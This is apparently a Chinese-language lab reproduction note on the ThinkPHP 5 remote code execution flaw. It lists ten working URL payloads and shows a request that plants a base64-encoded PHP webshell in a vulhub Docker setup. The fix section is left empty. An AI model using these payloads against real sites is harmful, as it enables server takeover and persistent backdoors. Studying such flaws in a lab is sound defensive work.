概述

ThinkPHP 是一款运用极广的 PHP 开发框架。其版本5中,由于没有正确处理控制器名,导致在 网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执 行漏洞。

参考

  • https://www.thinkphp.cn/topic/60400.html
  • https://xz.aliyun.com/t/3570

    影响版本

  • ThinkPHP 5.0.x ~ 5.0.22

  • ThinkPHP 5.1.x ~ 5.1.30

    Payload

  • 5.0.x

    1. ?s=index/\think\Request/input&filter[]=system&data=pwd
    2. ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
    3. ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
    4. ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    5. ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  • 5.1.x

    1. ?s=index/\think\Request/input&filter[]=system&data=pwd
    2. ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
    3. ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
    4. ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    5. ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    检测是否受影响

    TODO

    漏洞复现

    环境搭建

    1. cd vulhub/thinkphp/5-rce/
    2. docker-compose up -d
  • ThinkPHP 版本 5.0.20

  • 访问地址:http://127.0.0.1:8080

    检测是否存在漏洞

  • 判断目标 ThinkPHP 版本

    • 参数错误信息
    • 目录扫描
    • 工具检测

image.png
image.png

复现过程

浏览器访问:
http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
image.png
写入一句话木马:
http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n dGU8P3BocCBAYXNzZXJ0KCRfUE9TVFt4XSk7Pz5zdA== | base64 -d > t.php
image.png
image.png

漏洞修复